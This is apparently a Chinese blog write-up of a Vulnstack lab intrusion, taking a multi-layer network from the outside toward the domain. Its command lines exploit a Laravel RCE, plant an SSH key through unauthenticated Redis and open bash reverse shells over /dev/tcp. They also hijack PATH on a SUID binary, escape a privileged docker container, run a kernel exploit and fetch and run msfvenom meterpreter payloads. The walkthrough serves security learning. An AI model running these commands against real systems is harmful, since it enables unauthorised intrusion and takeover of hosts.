一、環境搭建
靶機下載地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/9/ 假設滲透的目標客戶只給出了一個域名 www.whopen.com，我們要在黑盒的情況下對目標網絡進行滲透，最終需要拿下域控制器權限
按照下載地址的說明配置網絡環境和服務，打不開的主機點擊虛擬機->管理->更改硬件兼容性
- DMZ區域
Ubuntu（Web 1）配置了兩個網卡，一個橋接可以對外提供服務，IP段設為 192.168.43.0/24，一個連接在 VMnet8 上，設為NAT模式，IP段設為 192.168.52.0/24 連通第二層網絡
- 第二層網絡區域
Ubuntu（Web 2）和 Windows 7（PC 1）都配置了兩個網卡，一個連接在 VMnet8 上連通第二層網絡，一個連接在 VMnet14 上，設為僅主機模式，IP段設為 192.168.93.0/24 連通第三層網絡
- 第三層網絡區域
Windows Server 2012 和 Windows 7（PC 2）都只配置了一個網卡，連接在 VMnet14 上連通第三層網絡
二、漏洞利用
2.1CVE-2021-3129
www.whopen.com 域名對應的 ip 地址為 192.168.43.229，直接訪問發現是一個博客頁面
對目標 ip 進行端口掃描，開放 22，80，81，6379 端口
nmap -sV -T4 192.168.43.229 -p 1-65535
81 端口是 Laravel v8.29.0（一個簡潔、開源的 PHP Web 開發框架）
這個版本有遠程代碼執行漏洞，可以這里直接使用工具 getshell，工具下載地址 https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
哥斯拉 v2.92 成功連接（v3.03 不知道什么原因連接不上，顯示初始化失敗），但是無法反彈 shell，先嘗試從其他地方入手
2.2redis未授權訪問
端口掃描時發現該機器開着 6379 端口，嘗試 redis 未授權訪問漏洞
#安裝 wget http://download.redis.io/redis-stable.tar.gz tar xvzf redis-stable.tar.gz cd redis-stable make sudo cp src/redis-cli /usr/local/bin/ #連接 redis-cli -h 192.168.43.229
嘗試寫入 ssh 公鑰
#生成公鑰 ssh-keygen -t rsa #將公鑰導入1.txt文件 (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt #把1.txt文件內容寫入目標主機的redis緩沖中 cat 1.txt | redis-cli -h 192.168.43.229 -p 6379 -x set hello
config set dir /root/.ssh #設置redis的備份路徑為/root/.ssh/ config set dbfilename authorized_keys #設置保存文件名為authorized_keys save #將數據保存在目標服務器硬盤上 ssh 192.168.43.229 #連接
成功連接 192.168.43.229 后，進行信息搜集發現了這台主機的內網 ip 地址 192.168.52.10
因為 Laravel 的 shell 反彈不了，所以查看 nginx 的配置文件，發現了 nginx 反向代理的標志 proxy_pass。ubuntu 18（192.168.52.10）服務器上的 nginx 將 81 端口收到的請求轉發給了 192.168.52.20，將 80 端口收到的請求轉發給了 http://whoamianony.top
所以 81 端口的 shell 反彈不到攻擊機，只能使用 ubuntu 18（192.168.52.10）做為跳板機，先將 Laravel 的 shell（192.168.52.20）反彈到 ubuntu 18
nc -lvp 1234 bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'
2.3linux環境變量提權
當前用戶為 www-data，所以嘗試提權（可能是 docker 環境的原因，內核提權失敗），枚舉具有SUID權限的所有二進制文件，發現 /home/jobs/shell 文件比較特別
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null
demo.c 應該是 shell 文件的源碼，該腳本執行了 ps 命令且並未使用絕對路徑
那么嘗試更改$PATH來執行惡意程序，從而獲得目標主機的 root 權限 shell
cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH #將/tmp添加到環境變量中，並且先加載執行/tmp里的程序 cd /home/jobs ./shell
2.4docker特權模式逃逸
- 特權模式於版本 0.6 時被引入 docker，允許容器內的 root 擁有外部物理機 root 權限，而此前容器內 root 用戶僅擁有外部物理機普通用戶權限
- 使用特權模式啟動容器，可以獲取大量設備文件訪問權限。因為當管理員執行 docker run —privileged 時，docker 容器將被允許訪問主機上的所有設備，並可以執行 mount 命令進行掛載
- 當控制使用特權模式啟動的容器時，docker 管理員可通過 mount 命令將外部宿主機磁盤設備掛載進容器內部，獲取對整個宿主機的文件讀寫權限，此外還可以通過寫入計划任務等方式在宿主機執行命令
把 Laravel 的高權限 shell（192.168.52.20）再反彈到 ubuntu 18（192.168.52.10）中，看到主機名有點奇怪，測試一下發現 shell 運行在 docker 容器中，所以要進行 docker 逃逸
nc -lvp 4321 bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/4321 0>&1' hostname cat /proc/self/cgroup
首先查看一下磁盤文件和設備文件，發現有三個磁盤文件和很多個設備文件，將 /dev/sda1 掛載到自己創建的文件夾
fdisk -l #查看磁盤文件 ls /dev #查看設備文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello
掛載成功了，查看 home 目錄有 ubuntu 用戶
接下來生成自己的 ssh 密鑰（192.168.52.10）
將密鑰寫入到 /hello/home/ubuntu/.ssh 目錄中的 authorized_keys 文件中，寫入成功之后就可以使用該密鑰登陸該機器（192.168.52.20）
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys #-avx將權限也一起復制 echo > /hello/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件 echo '生成的.pub文件的內容即hello.pub' > /hello/home/ubuntu/.ssh/authorized_keys #將ssh秘鑰寫入authorized_keys文件 cat /hello/home/ubuntu/.ssh/authorized_keys #查看是否寫入成功
成功在 ubuntu 18（192.168.52.10）登錄 192.168.52.20 服務器，搜集信息發現這台機器還存在 192.168.93.0/24 網段
ssh -i hello ubuntu@192.168.52.20 #指定本地密鑰登錄
2.5CVE-2021-3493
當前登錄用戶是 ubuntu，查看系統信息，發現服務器在 cve-2021-3493 內核提權漏洞影響版本內，漏洞利用 exp 下載地址：https://github.com/briskets/CVE-2021-3493
漏洞影響版本：
- Ubuntu 20.10
- Ubuntu 20.04 LTS
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
- Ubuntu 14.04 ESM
編譯運行 exp 提權
cd /tmp vim exploit.c #將下載的exploit.c內容粘貼到該文件中 gcc exploit.c -o exploit chmod +x exploit ./exploit
三、內網滲透
3.1metasploit上線
接下來將 192.168.52.10 和 192.168.52.20 兩台服務器上線 msf 進行內網滲透，首先使用 msf 的 web_delivery 模塊使 192.168.52.10 服務器上線
use exploit/multi/script/web_delivery show targets set target 6 #Linux show payloads set payload 7 #linux/x64/meterpreter/reverse_tcp set lhost 192.168.43.203 run
先給這台服務器添加 192.168.52.0/24 網段的路由，再生成一個木馬並上傳。在這台服務器上使用 python3 開啟一個臨時 http 服務供木馬遠程下載，再令 192.168.52.20 服務器訪問 192.168.52.10 的 http 服務，下載並運行此木馬，192.168.52.20 服務器成功上線
#meterpreter終端 run autoroute -s 192.168.52.0/24 #添加路由 run autoroute -p background msfvenom -p linux/x64/meterpreter/reverse_tcp lport=5555 -f elf -o shell.elf #生成木馬 sessions 1 upload /home/kali/shell.elf /tmp/shell.elf #上傳木馬 background use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.43.203 set lport 5555 run #192.168.52.10終端 python3 -m http.server #192.168.52.20終端 wget http://192.168.52.10:8000/shell.elf;chmod +x shell.elf;./shell.elf
3.2內網存活主機掃描
首先掃描一下第二層網絡（192.168.52.0/24）是否有存活 windows 主機
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.52.1-255 set threads 5 run
發現第二層網絡中還有一個 ip 為 192.168.52.30 的主機，掛 socks4 代理，進一步掃描該主機信息
use auxiliary/server/socks4a set srvport 1080 run
proxychains nmap -sV -T4 192.168.52.30
站在上帝視角來看，這台服務器的 8080 端口有一個通達OA V11.3的，我在這篇博客 https://www.cnblogs.com/wkzb/p/13773055.html 復現過相關的漏洞，這里不再實驗了，看了一下 wp 接下來的內網永恆之藍漏洞和抓密碼哈希傳遞攻擊都比較熟悉了，這個靶場就先到這里吧
四、總結
session 斷了好多次，重連到絕望，有沒有什么方式能穩固一點呢，感謝作者的開源靶場和其他大佬的博客，學到了新知識，給師傅們鞠躬
參考文章：
https://www.freebuf.com/articles/network/264560.html